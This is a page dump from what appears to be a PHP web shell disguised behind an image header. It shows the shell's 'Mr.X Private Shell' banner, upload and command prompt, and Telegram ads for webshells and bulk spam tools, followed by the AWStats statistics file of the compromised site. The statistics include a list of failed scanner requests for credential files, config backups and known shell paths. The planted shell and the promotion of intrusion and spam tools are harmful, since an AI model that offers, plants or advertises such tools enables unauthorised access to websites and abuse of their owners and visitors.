����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

fistvdlb@216.73.216.24: ~ $
AWSTATS DATA FILE 7.9 (build 20230108)
# If you remove this file, all statistics for date 202503 will be lost/reset.
# Last config file used to build this data file was /home/fistvdlb/tmp/awstats/ssl/awstats.alentizcom.fistinz.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2057                
POS_TIME 2739                
POS_VISITOR 18863               
POS_DAY 54488               
POS_DOMAIN 3662                
POS_LOGIN 4710                
POS_ROBOT 4865                
POS_WORMS 5950                
POS_EMAILSENDER 6081                
POS_EMAILRECEIVER 6224                
POS_SESSION 55411               
POS_FILESIZE 59000               
POS_SIDER 55626               
POS_FILETYPES 6359                
POS_DOWNLOADS 6640                
POS_OS 7185                
POS_BROWSER 7712                
POS_SCREENSIZE 11387               
POS_UNKNOWNREFERER 11461               
POS_UNKNOWNREFERERBROWSER 12566               
POS_ORIGIN 13386               
POS_SEREFERRALS 13529               
POS_PAGEREFS 13811               
POS_SEARCHWORDS 13959               
POS_KEYWORDS 14111               
POS_MISC 2403                
POS_ERRORS 14170               
POS_CLUSTER 4566                
POS_SIDER_404 14354               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20250401000346 111 21365 13657525721263
FirstTime 20250301002034
LastTime 20250331223838
LastUpdate 20250401194725 111 0 110 0 0
TotalVisits 1545                
TotalUnique 926                 
MonthHostsKnown 0                   
MonthHostsUnknown 945                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
WindowsMediaPlayerSupport 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
JavascriptDisabled 0 0 0
TotalMisc 0 0 0
QuickTimeSupport 0 0 0
PDFSupport 0 0 0
AddToFavourites 0 0 0
JavaEnabled 0 0 0
RealPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 241 242 12064644 75 90 1740183
1 272 338 7547006 99 115 2401097
2 232 351 4343692 101 115 3781946
3 258 261 3150012 103 120 2885071
4 214 214 2937759 59 121 1622411
5 202 204 2006217 78 91 2344904
6 204 273 3364607 65 91 2109285
7 231 233 1656301 98 109 1216519
8 269 270 2157837 46 65 1603761
9 207 208 979134 77 81 1397344
10 234 239 2062073 80 102 994181
11 177 178 1618310 56 67 565199
12 163 283 2574283 116 128 2215071
13 166 167 1294936 62 197 1614999
14 173 173 4613728 79 90 953350
15 199 201 1476759 55 70 690395
16 194 197 1780320 97 113 1891345
17 169 172 1230852 66 72 788908
18 191 219 1880020 136 189 3463483
19 148 149 1009963 84 91 1927136
20 195 196 1881731 60 73 918780
21 262 266 9198174 184 284 6340219
22 210 211 2330555 123 139 2930706
23 209 209 6303194 116 191 4135584
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 60
ca 2965 2965 19265851
us 772 914 18148519
jp 288 289 8574517
cn 179 180 4890041
ru 145 152 12870122
ip 99 99 0
gb 76 207 3276634
in 52 55 110744
de 52 80 437987
nl 47 48 1195147
au 43 47 257241
bg 20 20 328594
vn 19 19 773282
se 19 21 1136480
ua 17 17 498378
za 14 14 1998868
sc 13 13 633310
eu 13 13 279203
es 12 12 392720
ro 12 55 382158
fr 10 10 47676
hk 10 75 1451829
it 10 10 41330
gr 10 11 38900
eg 9 9 325620
hu 4 4 55078
sk 1 1 403
mx 3 3 6873
tz 6 6 257652
md 2 2 806
pk 6 6 258528
pa 1 1 0
ao 6 6 257648
ee 5 5 75462
cl 8 8 2251
il 1 1 403
ma 1 1 40111
ug 6 6 258531
lt 2 2 403
at 4 4 1612
pt 1 1 0
dk 2 2 403
gh 6 6 257464
hn 2 2 77122
no 5 5 5945
sg 1 1 0
nz 2 2 8766
ie 1 1 403
id 2 2 2450
kr 2 2 472
rw 3 3 6870
zz 4 4 92780
kz 3 3 806
tw 1 1 403
pl 5 5 7446
be 5 10 170549
bd 1 1 236
ir 3 3 1209
kh 6 6 257468
ch 3 3 403
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 26
AhrefsBot/ 622 13137611 20250331125127 44
yandex 169 3132999 20250330184721 0
YandexBot/ 138 4526822 20250330224640 59
nbot 121 4524683 20250324163804 4
CheckMarkNetwork/ 80 498556 20250303134102 3
bot[\s_+:,\.\;\/\\-] 63 2064229 20250325184746 9
SemrushBot/ 58 1429021 20250330235854 19
curl 38 1145610 20250331100249 0
Velen 34 1522653 20250316225008 1
MJ12bot/ 23 379240 20250331000619 13
no_user_agent 19 2941666 20250329032529 0
Go\-http\-client/ 18 545423 20250320195408 2
YandexImages/ 16 1517260 20250320021031 0
unknown 14 1097 20250329102003 14
360Spider 10 464131 20250330014156 0
BW/ 9 554228 20250326035116 1
(firefox/)([0-9]\.|[0-1][0]\.) 8 2821 20250324190637 0
spider 8 139119 20250324180103 0
Googlebot/ 7 695 20250328055329 5
crawl 5 1053233 20250328021140 0
DuckDuckBot 3 0 20250327220310 0
DotBot/ 2 261 20250316090548 1
survey 2 0 20250306055036 0
php 1 0 20250328021106 0
scrapy 1 0 20250324053224 0
bingbot/ 1 0 20250328011456 1
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 12
css 103 623032 0 0
svg 6 1854 0 0
xml 1 249 0 0
Unknown 71 3878480 0 0
png 58 918526 0 0
json 1 0 0 0
js 204 960132 0 0
woff 6 14604 0 0
txt 21 20940 0 0
html 1228 68692520 0 0
php 3713 608533 0 0
jpg 42 3743237 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 10
//wp-includes/ID3/license.txt 15 0 20940
/system/logs/error.log 1 0 0
/wp-content/plugins/security-malware-firewall/readme.txt 1 0 0
/wp-content/plugins/everest-forms/readme.txt 1 0 0
/wp-content/plugins/easy-digital-downloads/readme.txt 1 0 0
/wp-content/plugins/woocommerce/readme.txt 1 0 6009
/.well-known/security.txt 1 0 0
/wp-content/plugins/learnpress/readme.txt 1 0 0
/wp-content/plugins/wp-file-upload/readme.txt 1 0 0
/wp-content/plugins/google-analytics-for-wordpress/readme.txt 1 0 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 33
unix 3 3
Unknown 2935 2894
linuxgentoo 6 6
win8.1 8 8
win11 5 5
android13 2 2
linuxdebian 1 1
win7 49 49
macosx10 6 5
android10 59 58
ios_iphone 630 441
linuxubuntu 10 9
ios_ipad 1 1
macosx12 1 1
macosx15 131 131
macosx13 2 2
linux 92 91
macosx11 2 2
androidmarshmallow 5 5
macosx9 1 1
androidnougat 15 15
winlong 4 4
winnt 3 3
macos12 27 27
android11 1 1
win10 1414 1214
macosx14 1 1
android 3 3
winxp 11 11
macosx 18 18
androidkitkat 1 1
macos11 1 1
win8 6 6
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 180
firefox91.0 6 6
firefox60.0 1 1
safari9.1.3 2 2
safari18.0 1 1
chrome134.0.6998.89 1 1
firefox115.0 2 2
firefox102.0 1 1
chrome103.0.5060.53 1 1
chrome71.0.2386.88 1 1
chrome53.0.2785.101 3 3
chrome99.0.4859.172 1 1
chrome114.0.0.0 82 82
chrome116.0.5845.96 4 4
chrome84.0.4147.105 2 2
firefox72.0 1 1
safari17.3 1 1
firefox50.0 2 2
chrome130.0.0.0 19 19
chrome134.0.0.0 4 4
firefox54.0 3 3
firefox34.0 4 4
chrome106.0.0.0 1 1
chrome87.0.4280.88 1 1
firefox80.0 1 1
firefox84.0 3 3
firefox77.0 1 1
chrome65.0.2712 1 1
firefox127.0 6 6
chrome91.0.4472.114 22 22
chrome42.0.2311.90 2 2
chrome108.0.0.0 2 2
chrome80.0.3987.149 44 44
chrome61.0.3163.100 4 4
firefox82.0 1 1
chrome133.0.6943.127 1 1
msie6.0 2 2
firefox17.0 3 3
chrome132.0.0.0 5 1
firefox52.0 6 6
chrome100.0.8173.172 1 1
firefox85.0 2 2
chrome133.0.6943.16 1 1
safari13.0.3 415 415
firefox67.0 2 2
Unknown 2843 2842
firefox96.0 1 1
safari15.1 1 1
safari17.7 1 1
chrome106.0.1588 1 0
chrome115.0.0.0 1 1
chrome103.0.0.0 4 3
firefox65.0 2 2
firefox98.0 2 2
firefox57.0 6 6
firefox122.0 46 46
firefox114.0 11 9
safari 135 17
chrome60.0.3112.113 1 1
firefox43.0 2 2
chrome88.0.4240.193 16 16
chrome57.0.2987.133 1 1
chrome79.0.3945.117 2 2
firefox 1 1
msie10.0 1 1
chrome120.0.0.0 36 36
chrome64.0.3282.186 1 1
firefox24.0 1 1
chrome124.0.0.0 9 9
firefox128.0 4 4
firefox116.0 1 1
firefox134.0 2 2
chrome89.0.4389.90 2 2
chrome114.0.5735.134 3 3
chrome114.0.5735.199 2 2
chrome72.0.3626.121 2 2
chrome55.0.2883.87 1 1
firefox22.0 1 1
chrome60.0.3112.107 15 15
chrome122.0.0.0 5 5
safari9.1.2 1 1
chrome125.0.0.0 25 25
chrome95.0.4638.69 119 104
chrome86.0.4240.111 1 1
firefox99.0 1 1
firefox48.0 2 2
android 1 1
chrome46.0.2490.71 2 2
chrome113.0.5672.93 4 4
mozilla 42 30
chrome103.0.5060.114 1 1
chrome90.0.4430.93 1 1
chrome89.0.4389.114 54 54
chrome127.0.0.0 23 21
chrome130.0.6723.69 1 1
firefox40.1 1 1
chrome51.0.2704.103 4 4
firefox66.0 3 3
netscape5.0 54 26
chrome69.0.3497.100 3 3
chrome118.0.0.0 8 8
chrome81.0.4044.129 2 2
chrome115.0.5790.171 2 2
firefox95.0 36 36
chrome51.0.2704.106 1 1
chrome129.0.0.0 10 10
chrome116.0.0.0 2 1
chrome85.0.4183.121 2 2
chrome68.0.3440.91 4 4
chrome70.0.3538.102 4 4
firefox29.0 1 1
opera104.0.0. 1 1
chrome58.0.3029.110 2 2
chrome131.0.6778.205 1 1
safari17.3.1 2 2
firefox36.0 2 2
firefox73.0 2 2
chrome74.0.3729.131 4 4
firefox38.0 1 1
firefox58.0 7 7
chrome52.0.2743.116 3 3
chrome85.0.4183.102 1 1
firefox88.0 1 1
chrome67.0.3396.99 4 4
chrome131.0.0.0 81 37
chrome44.0.2403.157 4 4
chrome80.0.3987.132 2 2
firefox133.0 1 1
firefox132.0 26 26
safari17.1.2 2 2
firefox63.0 1 1
safari17.5 6 2
chrome105.0.0.0 12 10
chrome101.0.4951.54 1 1
firefox78.0 2 2
chrome91.0.4472.124 89 89
chrome74.0.3729.169 123 123
opera89.0.4447.51 21 21
chrome60.0.3112.90 10 10
chrome133.0.0.0 421 293
chrome62.0.3202.94 1 1
firefox33.0 2 2
chrome78.0.3904.108 127 127
safari15.4 2 2
chrome112.0.5615.138 5 5
firefox47.0 4 4
chrome56.0.2924.76 3 3
chrome53.0.2785.116 2 2
edge17 1 1
chrome100.0.4896.127 3 3
firefox59.0 2 2
chrome79.0.3945.88 3 3
chrome100.0.4896.75 8 8
firefox42.0 2 2
chrome78.0.3904.62 49 49
chrome21.0.1180.83 4 4
chrome126.0.0.0 18 18
firefox126.0 11 11
firefox129.0 4 4
chrome81.0.4044.138 2 2
safari16.4 1 1
iphone 69 6
chrome128.0.0.0 3 3
firefox45.0 2 2
chrome79.0.3945.130 2 2
chrome121.0.0.0 2 2
chrome115.0.5790.102 5 5
chrome88.0.4324.104 3 3
firefox106.0 1 1
firefox79.0 1 1
chrome103.0.5060.66 6 6
chrome86.0.4240.198 1 1
firefox125.0.1 4 4
chrome65.0.3325.181 2 2
chrome39.0.2171.95 4 3
safari17.4 2 2
chrome88.0.4324.190 2 2
msie11.0 1 1
chrome113.0.5672.126 1 1
safari17.6 5 1
chrome123.0.0.0 4 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 16
Mozilla/5.0_(platform;_rv:geckoversion)_Gecko/geckotrail_Firefox/firefoxversion 20250312074014
python-requests/2.28.2 20250304121836
python-requests/2.25.1 20250316130347
python-requests/2.32.3 20250324040920
Mozilla/5.0 20250331223656
WordPress/6.7.2;_https://alentiz.com 20250331223833
Mozilla/5.0_researchscan.comsys.rwth-aachen.de 20250326082033
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20250326220745
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20250328210341
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20250328231729
Python/3.12_aiohttp/3.11.11 20250310133437
Softaculous 20250331004024
Mozilla/5.0_(compatible) 20250330095918
python-requests/2.28.1 20250317014250
\ 20250301034053
GRequests/0.10 20250323235104
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 12
python-requests/2.32.3 20250324040920
Peach/1.01_(Ubuntu_8.04_LTS;_U;_en) 20250324190858
Apache/2.4.34_(Ubuntu)_OpenSSL/1.1.1_(internal_dummy_connection) 20250317135027
python-requests/2.25.1 20250316130347
python-requests/2.28.2 20250304121836
WordPress/6.7.2;_https://alentiz.com 20250331223833
Softaculous 20250331004024
Python/3.12_aiohttp/3.11.11 20250310133437
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20250328231729
GRequests/0.10 20250323235104
\ 20250301034053
python-requests/2.28.1 20250317014250
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 4125 4194
From1 1 1
From2 22 22
From3 0 0
From4 872 1237
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 7
google_com 1 1
www_google_ca 1 1
www_google_com_sg 1 1
www_google_com_au 2 2
www_google_it 1 1
www_google_com 14 14
www_google_com_hk 2 2
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 9
500 2 2218
405 5 162
301 527 0
404 562 10704774
503 2 3732
302 22 0
403 124 154008
429 6 15516
409 68 70109
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 117
/z.php 3 https://www.google.com
/ads.txt 3 -
/geju.php 1 -
/wp-content/plugins/pwnd/pwnd.php 3 https://www.google.com
/home/alentiz-WORDPRESS.txt 1 -
/ 9 http://www.google.com.hk
/blog/wp-admin/install.php 4 -
/worksec.php 3 https://www.google.com
/php_info.php 1 -
/old 37 http://alentiz.com/old
/shop/wp-admin/setup-config.php 2 -
/blog/wp-admin/setup-config.php 2 -
/wp-content/worksec.php 3 https://www.google.com
/system/logs/error.log 2 -
/wp-content/plugins/security-malware-firewall/readme.txt 1 -
/wp-includes/classwithtostring.php 5 https://www.google.com
/blog.env 1 -
/config.json 2 -
/wp-config.inc 1 -
/wp-content/about.php 4 http://alentiz.com
/wp-content/plugins/pwnd-1/pwnd.php 3 https://www.google.com
/images/images/cache.php 1 -
/config.yaml 1 -
/home/alentizWORDPRESS.txt 1 -
/js/config.js 1 -
/assets/ckfinder/core/connector/php/connector.php 1 -
/d.php 5 https://www.google.com
/shop/wp-admin/install.php 4 -
/phpinfo 2 -
/wp.php 1 -
/bk 37 http://alentiz.com/bk
/_profiler/phpinfo 2 -
/config/secrets.json 1 -
/https: 2 -
/wp-content/plugins/wp-engine-module/assets/icon-128x128.png 1 -
/wp-includes/customize/customize/cache.php 1 -
/wp-content/plugins/everest-forms/readme.txt 1 -
/test/wp-admin/install.php 4 -
/autoload_classmap.php 3 https://www.google.com
/home/user/.aws/credentials 1 -
/web/wp-admin/install.php 2 -
/archivarix.cms.php 1 -
/go.php 1 https://www.google.com
/.aws/credentials 1 -
/new/wp-admin/setup-config.php 2 -
/wp-content/plugins/wp-file-upload/css/wordpress_file_upload_style.css 2 -
/js/ckfinder/core/connector/php/connector.php 1 -
/.wp-config.php.swp 1 -
/classwithtostring.php 1 https://www.google.com
/f.php 3 https://www.google.com
/assets/env.js 1 -
/api/config.js 1 -
/wp-content/plugins/wp-file-upload/readme.txt 1 -
/new/wp-admin/install.php 4 -
/a.php 7 https://www.google.com
/sellers.json 1 -
/config.php.zip 1 -
/old/wp-admin/setup-config.php 2 -
/wp 37 http://alentiz.com/wp
/wp-admin/maint/fie.php 5 https://www.google.com
/wp-content/plugins/fix/up.php 5 https://www.google.com
/js/app.js 1 -
/old/wp-admin/install.php 4 -
/wp-config.backup 1 -
/wp-includes/file.php 2 https://www.google.com
/file.php 2 https://www.google.com
/wp-content/plugins/about.php 1 -
/wp-includes/rk2.php 4 https://www.google.com
/config/settings.json 1 -
/wp-content/themes/classwithtostring.php 5 https://www.google.com
/hoot.php 1 -
/about.php 3 http://alentiz.com
/wordpress/wp-admin/setup-config.php 41 -
/wp-content/themes/theme/functions.php 1 https://www.google.com
/site/wp-admin/install.php 2 -
/main 37 http://alentiz.com/main
/ipfs/bafkreicyqcbhpicbos7ev4mrxofwqx6hvvge7pahpta6xuspr44crai5by 1 -
/wp-admin/includes/lint-branch.php 2 https://www.google.com
/bc 37 http://alentiz.com/bc
/wp-config-backup.txt 1 -
/wp-content/plugins/wp-foodbakery/assets/frontend/css/bootstrap.css 1 -
/e.php 3 https://www.google.com
/q.php 3 https://www.google.com
/new 37 http://alentiz.com/new
/admin/ckfinder/core/connector/php/connector.php 1 -
/config.yml 1 -
/config.py 1 -
/test/wp-admin/setup-config.php 2 -
/ckeditor/ckfinder/core/connector/php/connector.php 1 -
/c.php 3 https://www.google.com
/config.php.new 1 -
/common/config.php.new 1 -
/wp-content/uploads/5drd24.php 1 -
/wp/wp-admin/install.php 3 -
/wp-content/languages/ 2 https://www.google.com
/backup/wp-admin/install.php 2 -
/wp/wp-admin/setup-config.php 2 -
/_wpeprivate/config.json 1 -
/wp-content/plugins/simple/simple.php 3 https://www.google.com
/wp-content/plugins/wp-automatic/changelog 1 -
/cms/wp-admin/install.php 2 -
/oldsite/wp-admin/install.php 2 -
/wordpress 37 http://alentiz.com/wordpress
/phpinfo.php 2 -
/ckfinder/core/connector/php/connector.php 1 -
/application/third_party/ckfinder/core/connector/php/connector.php 1 -
/b.php 3 https://www.google.com
/wp-admin/maint/file.php 3 https://www.google.com
/info.php 1 -
/Public/home/js/check.js 1 https://www.alentiz.com/Public/home/js/check.js
/env.js 1 -
/blog/adminer.php 1 -
/static/admin/javascript/hetong.js 1 https://www.alentiz.com/static/admin/javascript/hetong.js
/config.php.tar.gz 1 -
/backup 37 http://alentiz.com/backup
/wp-content/plugins/timthumb/php/timthumb.php 6 -
/wordpress/wp-admin/install.php 4 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 945
162.0.217.83 2830 2830 15004692 20250331223833
2a06:98c0:3600::103 99 99 0 20250331164856
173.18.216.235 42 42 16523 20250304091837
71.209.108.63 42 42 16120 20250329162145
34.69.137.129 40 40 244863 20250319102647
159.223.57.171 32 36 24158 20250316031954
204.137.14.85 26 26 5501746 20250327230044
142.93.213.123 24 24 1379196 20250311111422
139.59.125.163 24 27 18117 20250326100635
20.10.168.213 21 21 0 20250305112112
139.59.27.243 17 18 238721 20250317053116
159.223.61.44 16 18 12082 20250304120743
152.42.198.53 16 16 277366 20250301215116
43.143.28.57 14 14 418105 20250309044702
62.232.33.62 12 13 409621 20250317014302
156.146.35.163 12 12 77712 20250319173212
52.168.121.225 12 12 0 20250318021301
92.255.85.164 11 11 1255606 20250331024642
92.255.57.39 10 10 1255606 20250323212816
165.22.231.59 9 9 232674 20250311035825
34.45.46.212 9 9 232674 20250311104809
91.134.79.240 9 9 232680 20250310002716
34.67.245.234 9 9 232432 20250324223818
138.199.15.167 9 9 232432 20250321015157
35.226.143.80 9 9 232674 20250314093034
43.159.144.16 2 2 87662 20250330015323
5.157.20.109 2 2 68592 20250319022313
52.53.217.156 1 1 0 20250314181030
43.157.95.131 1 1 24639 20250328203041
182.42.105.144 1 1 46321 20250303023323
47.82.11.50 1 1 0 20250310030327
43.153.71.12 1 1 32868 20250331192958
128.199.142.106 1 1 403 20250321175909
37.77.56.246 1 1 403 20250313085625
80.85.245.5 6 6 176675 20250307020455
43.166.131.228 1 1 32870 20250330055317
198.44.134.4 1 1 403 20250328022712
196.196.37.246 2 2 67978 20250331063604
43.130.150.80 1 1 32954 20250315015430
185.147.125.23 8 8 836748 20250328143726
184.168.101.89 1 1 0 20250309114055
192.198.108.19 1 1 38500 20250317023447
124.220.171.131 6 6 185081 20250304035703
43.153.67.21 2 2 32870 20250319043706
43.166.1.243 2 2 79244 20250327091653
47.120.39.254 1 1 403 20250321234503
143.110.241.157 1 1 0 20250320094057
43.130.40.120 2 2 79292 20250317205625
104.248.226.113 1 1 0 20250326232614
43.129.51.239 1 1 32870 20250321155322
47.82.11.150 1 1 47716 20250309201857
213.152.161.35 1 1 0 20250312143036
194.187.251.163 1 1 403 20250312005610
113.141.91.58 4 4 107022 20250327010029
15.204.22.133 6 6 2418 20250323224122
58.176.10.210 1 1 46399 20250314214709
165.22.17.178 1 1 0 20250330095918
43.152.72.247 1 1 46486 20250307021153
178.238.229.54 2 2 806 20250312040739
103.163.214.43 2 2 2382 20250316002641
43.166.251.233 2 2 32870 20250321170803
34.68.163.95 2 2 806 20250323185435
43.165.65.180 1 1 721 20250319004154
47.82.11.201 1 1 0 20250309224640
50.117.73.9 1 1 0 20250317110056
196.218.56.37 6 6 257395 20250302014700
81.182.156.169 1 1 46312 20250304121836
116.206.178.218 1 1 403 20250323011739
192.64.117.193 1 1 0 20250310094753
184.75.223.203 1 1 403 20250312201522
37.111.212.73 1 1 2290 20250321170438
43.159.145.153 1 1 32954 20250316184434
149.202.84.24 2 2 806 20250325050307
213.152.161.85 1 1 0 20250311135401
43.166.136.153 1 1 32870 20250328143554
43.135.135.57 1 1 32954 20250311111312
91.201.113.132 1 1 227813 20250327193420
94.247.172.129 1 1 0 20250323041224
43.129.38.128 2 2 32805 20250307074031
47.82.9.4 1 1 0 20250311170925
185.235.146.29 1 1 228053 20250308214131
103.152.48.46 2 2 806 20250324235816
62.169.16.228 1 1 0 20250301074204
43.130.53.252 4 4 98862 20250316140239
3.70.232.249 1 1 46474 20250307230245
174.95.76.130 1 1 0 20250329150830
87.236.176.16 0 1 7222 
43.166.136.202 2 2 65740 20250329121236
109.71.43.65 1 1 0 20250314083005
106.227.49.113 6 6 262107 20250306142445
47.254.67.144 2 2 806 20250322204714
198.23.221.51 1 1 0 20250317102805
157.245.192.237 8 10 7431 20250328114625
43.130.16.212 1 1 32805 20250301210830
171.25.193.234 3 3 719254 20250308214220
212.41.8.68 1 1 227813 20250330140602
43.163.206.70 1 1 46444 20250307212311
51.38.225.218 1 1 403 20250324235836
47.82.10.91 1 1 0 20250309132157
185.247.137.100 0 1 7222 
58.49.233.126 2 2 92864 20250323033803
43.167.232.38 4 4 177466 20250328050233
185.247.137.158 1 1 0 20250324144656
82.223.102.103 2 2 0 20250316043706
43.130.110.130 1 1 32870 20250322213745
49.51.183.75 1 1 0 20250306071824
208.113.239.67 1 1 2290 20250329101707
148.66.147.218 2 2 806 20250323224057
51.89.68.103 4 4 0 20250331204925
182.40.104.255 1 1 0 20250308144948
185.220.101.18 1 1 228054 20250308214208
113.219.218.197 1 1 46380 20250328014135
157.173.122.176 1 1 46475 20250312215044
89.46.109.92 2 2 38700 20250330144246
74.208.237.147 1 1 403 20250320134550
168.138.204.146 1 1 403 20250323224120
138.68.180.18 7 7 330473 20250316162540
213.152.162.74 2 2 806 20250327084348
45.144.52.254 2 2 0 20250328030144
42.83.147.54 2 2 92736 20250324212445
47.82.11.205 1 1 0 20250311060333
37.111.207.57 1 1 6476 20250321182014
196.251.84.62 3 3 0 20250317094703
52.212.125.219 3 3 1209 20250323224131
79.142.69.139 1 1 0 20250311053501
213.152.161.138 1 1 403 20250316110333
43.157.179.227 3 3 98778 20250328010648
198.186.130.214 1 1 0 20250313075341
37.120.210.219 1 1 403 20250311202024
205.210.31.154 1 1 0 20250318210230
134.19.179.187 1 1 403 20250329222829
135.148.195.7 1 2 46907 20250303051232
103.132.20.2 1 1 2148 20250313215421
47.79.123.95 1 1 0 20250307084758
47.82.11.224 1 1 39679 20250319042623
196.41.38.254 6 6 257652 20250329224612
95.217.165.68 1 1 403 20250323185409
